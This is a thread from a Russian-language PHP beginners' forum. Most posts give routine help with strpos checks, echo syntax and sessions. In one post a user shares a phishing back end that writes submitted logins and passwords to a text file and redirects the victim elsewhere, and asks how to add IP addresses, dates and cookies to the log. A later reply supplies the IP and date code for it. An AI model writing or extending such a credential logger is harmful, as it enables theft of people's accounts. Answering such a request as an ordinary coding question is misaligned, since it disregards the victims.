[PHP] Новичкам: задаем вопросы

Discussion in 'PHP' started by Kaimi, 7 May 2015.

  1. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,420
    Likes Received:
    814
    Reputations:
    851
    echo $m."<br>";
     
    _________________________
    people2people likes this.
  2. people2people

    people2people Banned

    Joined:
    1 Dec 2019
    Messages:
    164
    Likes Received:
    64
    Reputations:
    0
    Code:
    foreach($mas as $m) {
    
         if (strpos($m,"showthread")) {
          echo $m;
         }
    }
    выдает:
     
  3. ckpunmkug

    ckpunmkug Member

    Joined:
    20 Mar 2017
    Messages:
    59
    Likes Received:
    61
    Reputations:
    8
    Потому что strpos возвращает или позицию в int или false в boolean.
    Правильно так:
    Code:
    foreach($mas as $m) {
          if (strpos($m,"showthread") !== false) {
             echo $m, "<br>";
          }
    }
     
    Skofield, ex0dus and people2people like this.
  4. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    952
    Likes Received:
    319
    Reputations:
    52
    В языковой конструкции 'echo' необязательно использовать конкатенацию(точку). Вполне правильным также будет передать список аргументов через запятую.
     
  5. lgs

    lgs Member

    Joined:
    14 Feb 2017
    Messages:
    35
    Likes Received:
    5
    Reputations:
    0
    Привет , как добавить в код чтоб был IP посетителя и дата?И можно ли чтоб еще куки собрал и чтоб разделения в логе - 1) 2) между логами было
    примерно -
    1) 14.02.2020 5:30AM Login:Vasya, Pass:123456, IP123456
    2) 14.02.2020 6:30AM Login:pETYA, Pass:123456, IP654321
    <?PHP
    $Log = $_POST['login'];
    $Pass = $_POST['password'];
    $log = fopen("database.txt","at");
    fwrite($log,"\n $Log:$Pass \n");
    fclose($log);
    echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://huishu.com'></head></html>";
    ?>
     
  6. PoksLoksLiks456

    Joined:
    25 Jul 2020
    Messages:
    53
    Likes Received:
    8
    Reputations:
    0
    lgs, Получение Ip-адреса:
    Code:
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    Получение даты:
    Code:
    // Assuming today is March 10th, 2001, 5:16:18 pm, and that we are in the
    // Mountain Standard Time (MST) Time Zone
    
    $today = date("F j, Y, g:i a");                 // March 10, 2001, 5:16 pm
    $today = date("m.d.y");                         // 03.10.01
    $today = date("j, n, Y");                       // 10, 3, 2001
    $today = date("Ymd");                           // 20010310
    $today = date('h-i-s, j-m-y, it is w Day');     // 05-16-18, 10-03-01, 1631 1618 6 Satpm01
    $today = date('\i\t \i\s \t\h\e jS \d\a\y.');   // it is the 10th day.
    $today = date("D M j G:i:s T Y");               // Sat Mar 10 17:16:18 MST 2001
    $today = date('H:m:s \m \i\s\ \m\o\n\t\h');     // 17:03:18 m is month
    $today = date("H:i:s");                         // 17:16:18
    $today = date("Y-m-d H:i:s");                   // 2001-03-10 17:16:18 (the MySQL DATETIME format)
     
    lgs likes this.
  7. PoksLoksLiks456

    Joined:
    25 Jul 2020
    Messages:
    53
    Likes Received:
    8
    Reputations:
    0
    php7 Сессии, так, запись с get-запроса в сессию:
    Code:
    if (!session_id()) {
       ini_set('session.gc_maxlifetime', 10800);
       @session_cache_limiter('private, must-revalidate'); //private_no_expire
       @session_cache_expire(0);
       @session_set_cookie_params(3600);
       @session_start();
       }
    if (isset($_GET['ref'])) {
             $_SESSION['referall'] = (string) $_GET['ref'];
       }
     
Loading...
Similar Threads - Новичкам задаем вопросы
  1. japapo
    Replies:
    3
    Views:
    1,844
  2. Варик
    Replies:
    3
    Views:
    2,589
  3. _Great_
    Replies:
    2,100
    Views:
    396,886
  4. _Great_
    Replies:
    22,423
    Views:
    1,290,173